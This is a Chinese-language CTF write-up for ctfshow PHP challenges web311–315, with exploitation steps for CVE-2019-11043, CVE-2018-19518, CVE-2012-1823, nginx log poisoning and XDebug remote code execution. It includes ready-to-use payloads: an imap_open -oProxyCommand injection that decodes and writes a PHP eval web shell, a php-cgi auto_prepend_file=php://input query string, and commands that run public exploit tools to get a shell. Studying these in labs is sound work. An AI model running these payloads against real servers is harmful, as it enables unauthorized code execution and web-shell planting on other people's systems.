热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

ctfshowphpCVEweb311~315

目录web311:CVE-2019-11043影响版本复现环境漏洞利用安装报错web312:CVE-2018-19518影响版本漏洞简介漏洞利用web313:CVE-2012-18


目录

  • web311:CVE-2019-11043
    • 影响版本
    • 复现环境
    • 漏洞利用
    • 安装报错
  • web312:CVE-2018-19518
    • 影响版本
    • 漏洞简介
    • 漏洞利用
  • web313:CVE-2012-1823
    • 影响版本
    • 形成原因
    • 漏洞利用
  • web314:日志包含
    • 代码分析
    • 漏洞利用
  • web315:XDebug 远程调试漏洞
    • 利用前提
    • 利用原理
  • Reference


web311:CVE-2019-11043


影响版本

PHP 5.6-7.x
Nginx>=0.7.31
nginx配置了fastcgi_split_path_info

复现环境

需要 golang 环境

sudo apt install golang

漏洞利用

下载 exp:https://github.com/neex/phuip-fpizdam

git clone https://github.com/neex/phuip-fpizdam.git
cd phuip-fpizdam
执行命令换代理:go env -w GOPROXY=https://goproxy.cn
执行go get -v && go build

利用:

go run . "http://xxx.xxx.xxx.xxx/index.php"

getshell,要多执行几次。
在这里插入图片描述


安装报错

在这里插入图片描述
只需要更新一下就可以了。

sudo apt-get update

在这里插入图片描述

sudo apt --fix-broken install -y

web312:CVE-2018-19518


影响版本

PHP:5.6.38
系统:Debian/ubuntu

漏洞简介


php imap扩展用于在PHP中执行邮件收发操作。其imap_open函数会调用rsh来连接远程shell,而debian/ubuntu中默认使用ssh来代替rsh的功能(也就是说,在debian系列系统中,执行rsh命令实际执行的是ssh命令)。
因为ssh命令中可以通过设置-oProxyCommand=来调用第三方命令,攻击者通过注入注入这个参数,最终将导致命令执行漏洞。



漏洞利用

先对 shell base64 编码 => PD9waHAgQGV2YWwoJF9QT1NUW3N1Y2MzXSk7Pz4=

再对 echo "PD9waHAgQGV2YWwoJF9QT1NUW3N1Y2MzXSk7Pz4=" | base64 -d > /var/www/html/shell.php进行一次base64编码,ZWNobyAiUEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VVzNOMVkyTXpYU2s3UHo0PSIgfCBiYXNlNjQgLWQgPiAvdmFyL3d3dy9odG1sL3NoZWxsLnBocA==,若有 =或者+ 需 url 编码一次。

最后将 hostname 的内容替换为 x+-oProxyCommand%3decho%09编码后的命令|base64%09-d|sh},也就是:

x+-oProxyCommand%3decho%09ZWNobyAiUEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VVzNOMVkyTXpYU2s3UHo0PSIgfCBiYXNlNjQgLWQgPiAvdmFyL3d3dy9odG1sL3NoZWxsLnBocA%3D%3D|base64%09-d|sh}

虽然报错了,但是文件已经写入。
在这里插入图片描述
在这里插入图片描述


web313:CVE-2012-1823


影响版本

影响版本 php <5.3.12 or php <5.4.2

形成原因

用户请求的querystring被作为了php-cgi的参数。

详细原理可以看P神的PHP-CGI远程代码执行漏洞&#xff08;CVE-2012-1823&#xff09;分析

访问http://your-ip:8080/index.php?-s即爆出源码&#xff0c;说明漏洞存在。

漏洞利用

cgi模式下有如下一些参数可用&#xff1a;


  • -c 指定php.ini文件的位置
  • -n 不要加载php.ini文件
  • -d 指定配置项
  • -b 启动fastcgi进程
  • -s 显示文件源码
  • -T 执行指定次该文件
  • -h和-? 显示帮助

有了这些参数&#xff0c;其中更是有配置项参数&#xff0c;也就是说我们可以配置 auto_prepend_file 来制造任意文件包含漏洞。

payload:

/index.php?-d&#43;allow_url_include%3don&#43;-d&#43;auto_prepend_file%3dphp%3a//input

在这里插入图片描述


web314:日志包含


代码分析

过滤了冒号&#xff0c;也就是说伪协议不行了&#xff0c;那么还可以日志包含&#xff0c;或者利用 session.upload_progress 进行文件包含。这题可以利用日志包含。


漏洞利用

利用 User-Agent 把shell写入日志&#xff0c;然后再包含日志就可以了&#xff0c;又因为使用的是 Nginx 服务器&#xff0c;所以默认日志位置为 /var/log/nginx/access.log

User-Agent:

发两次&#xff0c;第一次写shell进日志&#xff0c;第二次包含才能运行。

在这里插入图片描述


web315:XDebug 远程调试漏洞


利用前提

目标开启了远程调试模式&#xff0c;并设置remote_connect_back &#61; 1&#xff1a;

xdebug.remote_connect_back &#61; 1
xdebug.remote_enable &#61; 1

利用原理


在上面的配置下&#xff0c;我们访问http://target/index.php?XDEBUG_SESSION_START&#61;phpstorm&#xff0c;目标服务器的XDebug将会连接访问者的IP&#xff08;或X-Forwarded-For头指定的地址&#xff09;并通过dbgp协议与其通信&#xff0c;我们通过dbgp中提供的eval方法即可在目标服务器上执行任意PHP代码。


详细讲解处&#xff1a;Xdebug: A Tiny Attack Surface

exp: https://github.com/vulhub/vulhub/blob/master/php/xdebug-rce/exp.py

指定目标web地址、待执行的php代码即可&#xff1a;
# 要求用python3并安装requests库
python3 exp.py -t http://127.0.0.1:8080/index.php -c &#39;shell_exec(&#39;id&#39;);&#39;

重要说明&#xff1a;因为该通信是一个反向连接的过程&#xff0c;exp.py启动后其实是会监听本地的9000端口&#xff08;可通过-l参数指定&#xff09;并等待XDebug前来连接&#xff0c;所以执行该脚本的服务器必须有外网IP&#xff08;或者与目标服务器处于同一内网&#xff09;。



Reference

https://blog.csdn.net/qq_42880719/article/details/122513194
vulhub靶场

推荐阅读
  • linux qt打开常用文件格式,设置Linux Qt文件默认打开方式为QtCreator
    Linux自定义文件打开方式也可参照文本抱歉,本文前段时间写的ubuntu下的Qt工程文件默认打开方式是不好用的,因为其他的文本文件也会受到影响,强迫症患者,每次打开Qt工程都是先 ... [详细]
  • 树莓派语音控制的配置方法和步骤
    本文介绍了在树莓派上实现语音控制的配置方法和步骤。首先感谢博主Eoman的帮助,文章参考了他的内容。树莓派的配置需要通过sudo raspi-config进行,然后使用Eoman的控制方法,即安装wiringPi库并编写控制引脚的脚本。具体的安装步骤和脚本编写方法在文章中详细介绍。 ... [详细]
  • imx6ull开发板驱动MT7601U无线网卡的方法和步骤详解
    本文详细介绍了在imx6ull开发板上驱动MT7601U无线网卡的方法和步骤。首先介绍了开发环境和硬件平台,然后说明了MT7601U驱动已经集成在linux内核的linux-4.x.x/drivers/net/wireless/mediatek/mt7601u文件中。接着介绍了移植mt7601u驱动的过程,包括编译内核和配置设备驱动。最后,列举了关键词和相关信息供读者参考。 ... [详细]
  • 本文介绍了在mac环境下使用nginx配置nodejs代理服务器的步骤,包括安装nginx、创建目录和文件、配置代理的域名和日志记录等。 ... [详细]
  • Ubuntu安装常用软件详细步骤
    目录1.GoogleChrome浏览器2.搜狗拼音输入法3.Pycharm4.Clion5.其他软件1.GoogleChrome浏览器通过直接下载安装GoogleChro ... [详细]
  • 31.项目部署
    目录1一些概念1.1项目部署1.2WSGI1.3uWSGI1.4Nginx2安装环境与迁移项目2.1项目内容2.2项目配置2.2.1DEBUG2.2.2STAT ... [详细]
  • 本文介绍了在Ubuntu下制作deb安装包及离线安装包的方法,通过备份/var/cache/apt/archives文件夹中的安装包,并建立包列表及依赖信息文件,添加本地源,更新源列表,可以在没有网络的情况下更新系统。同时提供了命令示例和资源下载链接。 ... [详细]
  • 本文介绍了5个基本Linux命令行工具的现代化替代品,包括du、top和ncdu。这些替代品在功能上进行了改进,提高了可用性,并且适用于现代化系统。其中,ncdu是du的替代品,它提供了与du类似的结果,但在一个基于curses的交互式界面中,重点关注占用磁盘空间较多的目录。 ... [详细]
  • 本文介绍了在Android Studio中使用命令行build gradle的方法,并解决了一些常见问题,包括手动配置gradle环境变量和解决External Native Build Issues的方法。同时提供了相关参考文章链接。 ... [详细]
  • 本文介绍了在Ubuntu系统中清理残余配置文件和无用内容的方法,包括清理残余配置文件、清理下载缓存包、清理不再需要的包、清理无用的语言文件和清理无用的翻译内容。通过这些清理操作可以节省硬盘空间,提高系统的运行效率。 ... [详细]
  • 本文介绍了在Ubuntu 11.10 x64环境下安装Android开发环境的步骤,并提供了解决常见问题的方法。其中包括安装Eclipse的ADT插件、解决缺少GEF插件的问题以及解决无法找到'userdata.img'文件的问题。此外,还提供了相关插件和系统镜像的下载链接。 ... [详细]
  • tcpdump 4.5.1 crash 深入分析
    tcpdump 4.5.1 crash 深入分析 ... [详细]
  • 1.脚本功能1)自动替换jar包中的配置文件。2)自动备份老版本的Jar包3)自动判断是初次启动还是更新服务2.脚本准备进入ho ... [详细]
  • Linux一键安装web环境全攻略
    摘自阿里云服务器官网,此处一键安装包下载:点此下载安装须知1、此安装包可在阿里云所有Linux系统上部署安装,此安装包包含的软件及版本为& ... [详细]
  • systemd-nspawn可以创建最轻量级的容器(ns的意思就是namespace),本文的实验平台是Ubuntu16.04,x86_64机器。本文的目的是:在Ubuntu中用syst ... [详细]
author-avatar
Quiet静以修身
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有